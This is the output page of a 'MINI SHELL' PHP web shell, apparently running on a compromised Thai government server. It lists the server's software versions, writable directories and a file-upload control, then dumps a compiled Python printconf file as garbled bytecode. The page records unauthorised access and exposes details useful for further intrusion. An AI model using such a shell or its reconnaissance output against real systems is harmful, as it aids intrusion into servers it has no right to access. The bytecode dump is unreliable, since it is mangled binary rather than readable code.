MINI SHELL

Server : Apache/2.2.2 (Fedora)
System : Linux App1.pathumtani.go.th 2.6.20-1.2320.fc5smp #1 SMP Tue Jun 12 19:40:16 EDT 2007 i686
User : apache ( 48)
PHP Version : 5.2.9
Disable Function : NONE
Directory :  /usr/share/printconf/util/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Current File : //usr/share/printconf/util/editQueue.pyc
m
^Dc@sdkZdkZdkZdkZdkZdkZdkZdkZdkZdZ	dk
lZlZei
ie	deiieiiZeiieiiZdkZdZdZdfdYZdS(Nt	printconf(t_sN_s/usr/share/localecCs(tt|idtitiS(sq
    Convert a floating point number expressed as a string that
    uses '.' as the radix char into a float.
    t.N(tfloattstrtfstrtreplacetlocaletnl_langinfot	RADIXCHAR(R((t&/usr/share/printconf/util/editQueue.pytC_float)scCsVti|dtiti|}|i||iti	|i
|idS(sPut up an error message dialog.iN(tgtkt
MessageDialogtwindowt
MESSAGE_ERRORt
BUTTONS_OKtmsgtdtset_transient_fortset_positiontWIN_POS_CENTER_ON_PARENTtruntdestroy(RRR((R
tcomplain1s!

t	editQueuecBstZdZdZdZdZdZdZdZe	dZ
dZe	e	d	Zd
Z
dZdZd
Ze	dZdZdZdZdZdZdZdZdZdZdZdZdZdZdZdZ dZ!dZ"d Z#d!Z$d"Z%d#Z&d$Z'd%Z(d&Z)d'Z*d(Z+RS()s8The dialog implementation for editing an existing queue.c	Cs||_hdtd<dtd<dtdddf<d	td
<dtdd
<dtdd<dtdddf<dtd<dtd<dtd<dtd<dtd<dtd<dtd d!d"d#d$d%f<d&td'<d(td)ddf<d*td+<d,td-ddf<}||_d!dd.d/d0d1d2g|_|id3|_|id4|_	|id5|_
|id6|_|id7|_|id8|_
|id9|_|id:|_|id;|_|id<|_|id=|_|id>|_|id?|_|id@|_|idA|_|idB|_|idC|_|idD|_|idE|_|idF|_|idG|_|idH|_|idI|_|idJ|_|idK|_ |idL|_!|idM|_"|idN|_#|idO|_$|idP|_%|idQ|_&|idR|_'|idS|_(|idT|_)|idU|_*|idV|_+|idW|_,|idX|_-|idY|_.|idZ|_/|id[|_0|id\|_1|id]|_2|id^|_3|id_|_4hd`|i"<da|i#<db|i$<dc|i%<|_5t6i7t8t8|_9|i9i:ddt6i;|ii<|i9|ii=ddt6i>tdet6i?dfdd}|iAtB|i:dd|iiC|t6i>tdgt6i?dfdh}|iAtB|i:dh|iiC|t6i7t8t8|_D|i&i<|iDt6i>tdit6i?dfdd}|iAtB|i:dd|i&iC|t6i>tdjt6i?dfdh}|iAtB|i&iC||iDi:ddt6i;t6i7t8tEiF|_G|i*i<|iGt6i>tdkt6i?dfdd}|iAtB|i:dd|i*iC||i*iH}|iJ|iK|iiLdl|iM|iNdm|iO|iNdn|iP|iNdo|iQ|iNdp|iR|iNdq|iS|iNdr|iT|iNds|iU|iNdt|iV|iNdu|iW|iNdv|iT|iNdw|iX|iNdx|iY|iNdy|iZ|iNdz|i[|iNd{|i\|iNd||i]dS(}NtcolumnssNumber of columns on a pagetcpisCharacters per inchtfitplotsScale to fit (%s or %s)ttruetfalsesjob-billings
Billing labelsjob-hold-untilsHH:MM:SS or '%s'.
Use GMT.t
indefinites
job-sheetss+Banner pages (start,end):
for example, '%s'tstandardt	landscapesLandscape (%s or %s)tlpisLines per inchs	number-ups?Number of document pages per
printed page: 1, 2, 4, 6, 9, or 16spage-topsTop margin in pt (1/72 in)s	page-leftsLeft margin in pt (1/72 in)s
page-rightsRight margin in pt (1/72 in)spage-bottomsBottom margin in pt (1/72 in)spage-borders'%s', '%s', '%s'
'%s' or '%s'tnonetsinglessingle-thicktdoublesdouble-thicks
page-labels
Page labeltprettyprintsPretty-print text (%s or %s)tscalingsScaling (percentage)twrapsWord-wrapping (%s or %s)t
classifiedtconfidentialtsecrett	topsecrettunclassifiedteditQueueDialogtedit_queue_notebooktedit_queue_type_menutedit_queue_type_notebooktedit_queue_name_entrytedit_queue_description_entrytedit_queue_device_viewtedit_queue_ipp_server_entrytedit_queue_ipp_path_entrytedit_queue_lpd_server_entrytedit_queue_lpd_queue_entryt"edit_queue_lpd_rfc1179_checkbuttontedit_queue_smb_share_entrytedit_queue_smb_user_entrytedit_queue_smb_host_entrytedit_queue_smb_passwd_entrytedit_queue_smb_group_entrytedit_queue_smb_lf_checkbuttontedit_queue_ncp_server_entrytedit_queue_ncp_user_entrytedit_queue_ncp_queue_entrytedit_queue_ncp_passwd_entrytedit_queue_jd_printer_entrytedit_queue_jd_port_entrytstart_banner_menutend_banner_menutimageable_top_spinbuttontimageable_left_spinbuttontimageable_right_spinbuttontimageable_bottom_spinbuttontedit_queue_options_viewtqueue_options_edit_buttontqueue_options_remove_buttontedit_queue_mfr_menutedit_queue_printer_viewtdrivers_menutrecommended_labeltedit_queue_notes_buttontedit_queue_driver_options_tabletcustomDeviceDialogtdevice_entrytoptionDialogtqueue_option_combotqueue_option_value_labeltqueue_option_value_entryttoptlefttrighttbottomitDevicettexttDescriptionisOption nametValuetModelRton_edit_queue_type_menu_changedt+on_edit_queue_rescan_devices_button_clickedt#on_edit_queue_custom_button_clickedt#on_autoselect_driver_button_clickedt#on_queue_options_add_button_clickedt$on_queue_options_edit_button_clickedt&on_queue_options_remove_button_clickedt(on_queue_options_defaults_button_clickedton_options_view_cursor_changedton_options_view_row_activatedt,on_queue_option_combo_list_selection_changedton_edit_queue_mfr_menu_changedt)on_edit_queue_printer_view_cursor_changedton_drivers_menu_changedt"on_edit_queue_notes_button_clickedt"on_edit_queue_notebook_switch_page(^tparenttselfRtkt
known_optionstsheet_typestxmlt
get_widgetRtnotebookt	type_menut
type_notebookt
name_entryt
desc_entrytdevice_viewtipp_server_entrytipp_path_entrytlpd_server_entrytlpd_queue_entryt
rfc1179_cbtsmb_share_entrytsmb_user_entrytsmb_host_entrytsmb_passwd_entrytsmb_group_entryt	smb_lf_cbtncp_server_entrytncp_user_entrytncp_queue_entrytncp_passwd_entrytjd_printer_entryt
jd_port_entryRFRGRHRIRJRKtoptions_viewtopt_edit_buttontopt_remove_buttontmfr_menutprinter_viewRQRRtnotes_buttont
options_tablet
custom_dialogtcustom_device_entryt
option_dialogtoption_combotoption_value_labeltoption_value_entrytmargin_widgetsRt	TreeStoreRtdevice_storetset_sort_column_idtSORT_ASCENDINGt	set_modeltset_search_columntTreeViewColumntCellRendererTexttcolt
set_resizabletTruet
append_columnt
options_storetgobjectt
TYPE_PYOBJECTt
printer_storet
get_selectiontslcttset_select_functiontprinter_select_functiontconnectRtsignal_connectttype_menu_changedtrescan_devices_button_clickedtcustom_button_clickedtautoselect_drivertadd_queue_optiontedit_queue_optiontremove_queue_optiontdefault_queue_optionstoption_cursor_changedt#option_combo_list_selection_changedtmfr_menu_changedtprinter_model_selectedtdrivers_menu_changedtnotes_button_clickedtnotebook_switch_page(RuRtRyRRRv((R
t__init__<s	X		9








	
	
	
	
	
	
	
	
	
	
	
	
	
	
	
	cCs|idS(s&Callback for the window being deleted.N(tdialogthide(RuR((R
RscCsF|iit|iiitxtiotiq&WdS(s"Set the dialog window insensitive.N(	RuRt
set_sensitivetFalset
set_cursortbusy_cursorRtevents_pendingtmain_iteration(Ru((R
tbusys
cCs'|iiit|iitdS(s Set the dialog window sensitive.N(RuRRtready_cursorRR(Ru((R
treadyscCs	|iid||_|iii|d}|ii	|d|_
|ii|y|i
i|i
diWn|i
idnX|i|iid|iid|iid|iid|iit|iid|iid|iid|iid|iid|iit|iid|iid|iid|i id|i!id|i"id|i
di}|i
d	}|d
jo|i%i&}|i(\}
}|pY|di}|
i+d5}|
i-|d||
i-|dt.d|i/|q5n|d
jo2|ii|di|ii|din|djoI|ii|di|ii|di|ii|dinH|djo|ii|di|ii|di|ii|di|ii|di|ii|di|ii|din|djo`|ii|di|ii|di|ii|di|i i|din@|d jo2|i!i|d!i|i"i|d"in|ii0i1|_2|ii0i3|i
|i2|i4i5|ii6i7|i
di|i8|i4y|i
d#}WnnXhd$|i:<d%|i;<}x_|i=D]Q}||}y*||i}|i5|iAi7|Wq|i5dqXqWh}yU|i
d&}|d'i|d'<|d(i|d(<|d)i|d)<|d*i|d*<Wn|ii0i0iD}nXx/|iEi=D]}|iE|i-||qWy|i
d+}Wn
h}nX|iG}
|
iHxM|i=D]?}|
i+d5}|
i-|d||
i-|d||q$Wx'|iJ|iKgD]}|iMtqzW|ii0i1|_N|ii0iO|i
|iN|iPd|_Q|iiR|iS|i
|_Th|_U|iiV|iW|i
d,|iUd-|iXiX}|iY||iXiZ|ii[|iXi\t]i^|ii_|ii0i`iaib}
xE|iXid}|t]ifjo|igp'|ihp|iip
|ijoqn|iQpM|iXiMtxt]ikot]ilqW|iP|iXiMtmn|in|ii0io|i
|iN|ii0ip|i
i}|iii-|id||iii-|id.|i
dPq|t]iqjp|t]irjo|
|ii0_aPq|t]isjo|iit}|djo
d/}	n5|d.jo
d0}	n|d1jo
d2}	nd3}	twixd4|ii0i0iy|	fq|djo8|ii[}|iX|i_[|ii{||i_[qqW|i||iX|t]ifjS(6sE
	Run a dialog for editing the queue.

	iter: Iter from queue tree.
	iitqueuetqueue_descriptionts/printers/queue1t9100t
queue_typet
queue_datatLOCALtlocal_printer_devices
Custom devicetIPPt
ipp_servertipp_pathtLPDt
lpd_servert	lpd_queuetlpd_strict_rfc1179tSMBt	smb_sharetsmb_usertsmb_iptsmb_passwordt
smb_workgroupt
smb_translatetNCPt
ncp_servertncp_usert	ncp_queuetncp_passwordt	JETDIRECTtjetdirect_iptjetdirect_portt	jobsheetststarttendtmarginsR\R[R]R^t	lpoptionstid_dictRis0printconf-modify.html#S2-PRINTING-EDIT-QUEUETYPEs-printconf-modify.html#S2-PRINTING-EDIT-DRIVERis5printconf-modify.html#S2-PRINTING-EDIT-DRIVER-OPTIONSs,printconf-modify.html#S2-PRINTING-EDIT-NAMESsfile://%s/%sN(}RuR{tset_current_pagetitertqueue_tree_iterRttqueue_storet	get_valuetnamet	name_dictRR~tset_textRtvaluetrescan_devicesRRRRRt
set_activeRRRRRRRRRRRRRttypetdataRRt	selectiontget_selectedtstoretdevtappendtNonet	set_valueRtselect_itertconft	NameSpacettypedatattypespace_setupR|tset_historytqueue_type_namestindexRRRFRGtsheetstkeysteachtmenutsheetRxtmRtdefault_marginsRRRtcleartoptRRtbRtdriver_namespacetdriverspace_setuptwrite_driver_optionstdriver_options_up_to_datetpopulate_mfr_optionmenuRtmfr_listt
id_to_itertpopulate_model_storeRRtselect_printer_iterRttoplevelRRtWIN_POS_NONERt
queue_edittdynamic_queue_ctxtcopyt
backup_ctxRtresponsetRESPONSE_OKtvalidate_name_and_pulltvalidate_type_and_pulltvalidate_options_and_pulltvalidate_driverRRRtread_driver_optionstdriverspace_applytdemangle_queue_nametRESPONSE_CANCELtRESPONSE_DELETE_EVENTt
RESPONSE_HELPtget_current_pagetpagethtmltgnometurl_showtprintconf_help_dirt
parent_windowtsharing_button_clickedR(RuRRRRRRRRR8R)R<RRRRRR*RRRRR7((R
R.sD	








)




	


			

4




 





'

cCsj|iii||ii|}|iid}|ii
||tdd|i|idS(sY
	Select iter, scrolling to the newly-selected row.  Call
	self.printer_model_selected.
	if0.5N(
RuRRR	RRtget_pathtpatht
get_columnRtscroll_to_cellRR(RuRR?R((R
R#scCsWd}y3|ididjo|iddi}nWnnX|i||dS(sQ
	Rescan the local printer devices.

	force: true if we want to force a rescan.
	RRRRN(RtselectRuRRtpopulate_device_viewtforce(RuRDRB((R
RscCs|iiddS(s$Set the notebook to the driver page.iN(RuR{R(Ru((R
tshow_driver_pagescCs|iii||_|i}|ix|ii	D]}|id	}|i|d|yG|i|d}|id}|pd|d|df}nWn
d}nX|i|d|||jo|iii|q;q;Wd	S(
sY
	Populate the list of local printer devices.

	force: true if a scan should be forced.
	itautotdescs%s %stmanufacturertmodelRiN(RuRtR
tscan_local_printer_devicesRDt
local_devsRRRRRRRRRRFtgettdescriptionRBRRR	(RuRBRDRMRFRRR((R
RCs$	
 

cCs|idddS(sHandle the rescan button.RDiN(RuR(Rutbutton((R
R2scCs|i}|iid|i|i|iti	|i
}|ii}|i|tijp|odSnti|tip"t|itd|dSn|iid}|ii|d||ii|dtd|iii|dS(s Handle the custom device button.RNs('%s' does not exist, or is not writable.iis
Custom device(RuRRRRRRRRRRR*tget_texttdeviceRR+tostaccesstW_OKRRRRRRRRRR	(RuRNRR*RRP((R
R6s$	
	c
CsI|ii}|i\}	}|pdSn|	i|d}y@t	i
|i|dd}t	i
|i|dd}Wn!t|itddSnX|iii||}|o
|i}nt|itddS|iiii|i}|ii|ii||i|}|i||idS(s"Handler for the autoselect button.NiRFRHRIs:Can't determine the printer model attached to this device.s@I don't know enough about this printer model to choose a driver.( RuRRRRRRRRtstringtlowerRKtmfrtmdlRRRRtR
tfoomatic_match_printertptidtfoomaticRtmakeRRR RR!R#RE(
RuRNRRWRRYRVRRZR((R
RLs,"


cCs6|i}|ii||ii||i_	dS(s.Set the notebook page to match the optionmenu.N(
t
optionmenutget_historyRRuR}RRttqueue_typesRtqueue_type_space(RuR]R((R
RjscCs|i}|i}g}g}y|i|d}	Wn
d}	nXx_|D]W}|i|i
}
|i|
d}
|	|
joqKn|i|i|
dqKWxI|iiD]8}y|i|ownWq|i|qXqW|i|ii||oS|itd|iii|	|ii|i|d|iin7|itd|iiid|iid|i|i|it i!x|i"}|t i$jo|iii%}|ii%}t(i)d}|i+|p*t,|td|iiiqn|djo
d}nt(i)d	}|i+|p't,|td
|iiqn|p`xJ|D]B}|i|i
}|i|d|jo|i.|qqW|id}n|i/|d||i/|d||i0i1i2|x'|i3|i4gD]}|i6t7qXWPq|t i8jp|t i9joPq|t i:jo!t;i<d|i=i>i>i?qqW|i@dS(
s|Run the queue option dialog.
        iter: None if adding option, otherwise options_store iter of item
        to be edited.isEdit queue optionisAdd queue optionRs^[a-zA-Z_][-a-zA-Z0-9_]*$sInvalid option nameRs^[-a-zA-Z0-9_.]*$s
Invalid valuesfile://%s/index.htmlN(ARuRRRRRwtcurrent_optionsRRt	this_nameRtrowtget_iterR?tiRRRRRtsortRtset_popdown_stringst	set_titleRtentryRRt
grab_focusRRRRRRR*R+ROtoptionRtretcompiletvalid_option_retmatchRtvalid_value_retremoveRRRR	RRRRRR3R4R5R9R:RtR
R;R(RuRRcR*RnRwRRRkRbRRRReRRpRa((R
tadd_or_edit_queue_optionss		





 &cCs|idS(s%Handler for queue options add button.N(RuRr(RuRN((R
RscGs,|iii\}}|i|dS(s&Handler for queue options edit button.N(RuRRRRRRr(RutargsRR((R
RscCsV|iii\}}|i|x'|i|igD]}|i
tq;WdS(s(Handler for queue options remove button.N(RuRRRRRRqRRRRR(RuRNRRR((R
Rs
cCs|i}|i|iiii}xM|iD]?}|i
d}|i
|d||i
|d||q2Wx'|i|igD]}|itqWdS(s*Handler for queue options defaults button.iiN(RuRRRRtR
tdefault_lpoptionsRRRkRRRRRRRRR(RuRNRRkRRR((R
Rs	

cCs.x'|i|igD]}|itqWdS(s,Handler for options treeview cursor changed.N(RuRRRRR(RuttreeviewR((R
RscCsV|iii}|ii|o|i|}n
td}|i	i
|dS(s6Handler for queue option combo list selection changed.sValue for this optionN(RuRRiRORvRwthas_keytlabelRRR(RutlistRvRw((R
RscCs#|ii|}|ii|S(s9Don't allow this path to be selected unless it is a leaf.N(RuRRdR?Rtiter_has_child(RuR?R((R
Rsc	Csy|i|i}WndSnXh|_|ii|i|i	d|id|d|i
i
}|p|ii}n|i
|dS(sUpdate the model list.NRRVR(RuR RR^RVR!RtR"RRRRtget_iter_firstR#(RuRRVR((R
Rs		cCs|i|ii}
|i}|i\}}|i|d\}}|o"|i|d}ti}yT|iiii|
|i
|iddijo|iddi}
nd}
Wn
d}
nX|iiii|
|i|_yB|iiii|
|i}||ijo|id}nWn|id}nXd}x|iD]}ti|}|i ||i!|i"t#|ii$|}	||jo
|	|_&n|
djo||
jo
|	}qq^||jo
|	}q^q^W|djo
|i&}n|i'i"t#|i'i(||djo|i'i)|n|i*i"t#n|i*i"t+d|_&|i'i"t+ti}tit,d}|i ||i!|i"t#|i'i(||i-|i'dS(	s<A printer model has been selected.  Fill in the driver menu.iitfilter_datat
printer_idt	gs_driveriRN(.RuR RR^R\RuRRRRt
model_iterRRRZRIRtMenuRRtR
R[tmake_model_dict_dictRRtthis_driverRtdriverstdrivertrecommendedtdriver_indextMenuItemtmenuitemtaddtshowRRRtntrecommended_driverRQtset_menuRRRRR(RuRuRRRRRRZR~RRRRIR\RR((R
Rsj2

 











	


cCsEyX|i|ijo|iitdn%|iitd|i|iWn|iidnX|ii	}|i\}}|i|d\}}|i|i_y|i|ii_WnnX||iiiijo5|i|i}||ii_||ii_n|iidd|_dS(s1Determine whether this is the recommended driver.s (this is the
recommended driver)s(recommended
driver is %s)RiiN(RuRR]R^RRt	set_labelRRRRRRRRRRR|tfilter_typeRtf_typetmf_typeR[RtR
R}R(RuR]RR}R|RRR((R
R`s*(c	Csz|ii}|i\}}|i|d\}}|o6|i
i}|i
|}|ii|||ndS(sHandler for the notes button.iN(RuRRRRRRRRR|RQR^tselected_driverRRRtt
show_notes(	RuRNRRRR|RRR((R
Rs
cCsJx'|iiD]}|ii|qW|iiddg|_dS(Nii(RuRtget_childrentchildRqtresizetwidget_list(RuR((R
twipe_driver_optionss
cCs|i|iii|i}g|_|p
g}nx|D]}|\}}}}}}|i||f|}ti|}|idd|djo,ti}|i|iii|n|djok|\}}t|}
ti|
dt|dt|ddd	d
}ti|}|i dn|djok|\}}t!|}
ti|
dt!|dt!|dd
d	d}ti|}|i dn	|djo|}ti#t$t$}ti&|}ti'}|i)|t*|i+|dd|}x|D]\}
}|i.d}|i1|d||i1|d|
|djo|i2|n|
|jo|i2|d}q1q1Wnt3d||ii.|||fqCWt4|ipNtit5d}
|i7i8dd|i7i9|
ddddti:n|i7i8t4|idxzt;t4|iD]c}	|i|	d \}}|i7i9|dd|	|	dti:|i7i9|dd|	|	dqvW|i7i=dS(Nf0.0f0.5tbooltintRUtuppert	step_incrit	page_incri
iRf0.10000000000000001tenumR`sunknown type %ss/There are no options available for this driver.i(>RuRRtR
tgenerate_option_listRtoption_listRtoption_tupletopt_typeten_shortnamet
prettynametdicttdefaultt	type_dataRLtdef_valRtLabeltlabel_widgett
set_alignmenttCheckButtontdata_widgetRt	strtobooltmaxtminRtvalt
Adjustmentt
adjustmentt
SpinButtont
set_digitsRtval_listt	ListStoreRRtComboBoxRtcellt
pack_startRtset_attributestsett	val_labelRRRRtset_active_itertRuntimeErrortlenRRwRRtattachtFILLtrangeRetshow_all(RuRRRRRRRRReRRRRwRRRRRRRRRR((R
Rsz
	

 






&&$cCsx|iD]\}}}|\}}}
}}}||f}	d}|djoM|i
||	<|iii||	|iii|jo
d}qq
|djo;|i||	<t||	t|jo
d}qq
|djo;|i||	<t||	t|jo
d}qq
|djoX|i}|i}
|
o5|i|
d||	<||	|jo
d}qqq
q
WdS(NiRiRRR(RuRRRRRRRRRRtkeyt
is_defaultt
get_activeRtR
Rtget_value_as_intRRRt	get_modelRtget_active_iterR(RuRRRRRRRRRRRRR((R
R0s0

/


cCsw|djodSn|iodSn|itxtiotiq7W|i	d|_|it
dS(s*Handler for the main notebook page-switch.iNi(t	pageindexRuRR{RRRRRRR(RuR{tcobjectR((R
Rs




	cs=d}ii}iii|p%|ti	t
ddSniii\}}|i|o=||dijo%|ti	t
ddSn|i|o=||dijo%|ti	t
ddSniii|i_iiid<dS(
s"Returns true if validation failed.cs!iidiidS(Ni(RuR{RR~Rj((Ru(R
tgrab%ssInvalid nameiRs(There is already a queue with that name.s,An existing queue has an alias of that name.RiN(RRuR~RORRtR
tvalid_queue_nameRRRt
get_queuestname_dict_dicttalias_dict_dictRvRtmangle_queue_nameR(RuRRRR((RuR
R,"s*(	
(	
cCs|iiddS(Ni(RuR{R(Ru((R
tshow_type_pageFscCs|iiipti|idtiti|iii	}|i|i|iti
|i}|i|tijo|idSqn|iii}|ii|ijo|iodSqn|ii|ijo|iodSqn|ii|ijo|iodSqn|ii|ijo|iodSqn_|ii|ijo|i odSqn0|ii|i!jo|i"odSqn|iii#|i$|idS(s"Returns true if validation failed.iiN(%RuRR`tcheckRR
RtMESSAGE_WARNINGtBUTTONS_YES_NOtmessagetaskRRRRR*RtRESPONSE_YESRRtR
R_ttypestlocaltvalidate_local_type_and_pulltipptvalidate_ipp_type_and_pulltlpdtvalidate_lpd_type_and_pulltsmbtvalidate_smb_type_and_pulltncptvalidate_ncp_type_and_pullt	jetdirectt validate_jetdirect_type_and_pullttypespace_applyR(RuRR*R((R
R-IsB







cCs|ii}|i\}}|p5t|it	d|i
|iidSn|i|d}||iid<dS(s"Returns true if validation failed.sYou must select a device.iiRN(RuRRRRRRRRRRRjRRRR(RuRRRR((R
Rqs

cCs|ii}|ii}|p5t|itd|i	|ii
dSn|p5t|itd|i	|ii
dSn||iid<d|iid<||iid<dS(
s"Returns true if validation failed.sYou must specify a server.isYou must specify a path.Rt631tipp_portRiN(
RuRRORRRRRRRRjRR(RuRR((R
Rs"



cCs|ii}|ii}|ii}|p5t	|i
td|i|ii
dSn|p5t	|i
td|i|ii
dSn||iid<||iid<||iid<dS(	s"Returns true if validation failed.sYou must specify a server.isYou must specify a queue.RRRiN(RuRRORRRRRtrfc1179RRRRRjRR(RuRRR((R
Rs$



cCs|ii}|ii}|ii}|ii}|i
i}|ii
}|p5t|itd|i|iidSn||iid<||iid<||iid<||iid<||iid<||iid<d	S(s"Returns true if validation failed.s*You must specify an SMB share to print to.iRRRRRRiN(RuRRORRRRRRRRRRRRRRRRRjRR(RuRRRRRR((R
Rs(	


cCs|ii}|ii}|ii}|ii}|p5t
|itd|i
|iidSn|p5t
|itd|i
|iidSn||iid<||iid<||iid<||iid<dS(
s"Returns true if validation failed.s+You must specify an NCP server to print to.is+You must specify a queue on the NCP server.RRRRiN(RuRRORRRRRRRRRRRRjRR(RuRRRR((R
Rs,	


	


cCs|ii}|ii}|p5t|itd|i	|ii
dSnyt|}Wn8t|itd|i	|ii
dSnX||i
id<||i
id<dS(s"Returns true if validation failed.s1You must specify a JetDirect printer to print to.is#You must specify an IP port number.RRiN(RuRRORRtportRRRRRjRRRR(RuRRR((R
Rs&	




cCsy|idiWnnX|iitid}	|	itid}|i	|i
i|_|	itid}|i	|ii|_y|idiWnnX|iitid}xB|iiD]1}|iti|}|i|i|_qWy|idiWnnX|iitid}|i}
xV|
D]N}|
i|i}|iti|
i|d}|
i|d|_qVWtS(	s"Returns true if validation failed.RRRRRiiN(RuRtunlinktaddDatatpyalchemisttAdmListTypeRt
AdmStringTypeRRxRFR^RRRGRRRRt
AdmIntTypetcRRRRRcRdR?RRR(RuRRRRRRRRRRRc((R
R.s@	cCsy<|ii}|i|}|iii}|i
|}WndSnX|ipyt
i|idt
it
i|i}|i|i|it
i|i}|i|t
ijodSqndS(s"Returns true if validation failed.iiN(RuRQR^RRRRtR
tdriver_blacklistt	blacklistRtblackRRR
RRRRRRRRRR*RR(RuRRRRRR*((R
R/$s$


(,t__name__t
__module__t__doc__RRRRR.R#RRRERCRRRRRrRRRRRRRRRRRRRR0RR,RR-RRRRRRR.R/(((R
R9sR												_				
		
			G	"				O	#		$		(							-(tgettextRt	gtk.gladeR9RRQRRlRTtdomaintrhpl.translateRtN_tgladetbindtextdomaintgdktCursortWATCHRtLEFT_PTRRRRRR(RRRR9RRRRRRlRRRRQRRRT((R
t?s"												

Anon7 - 2021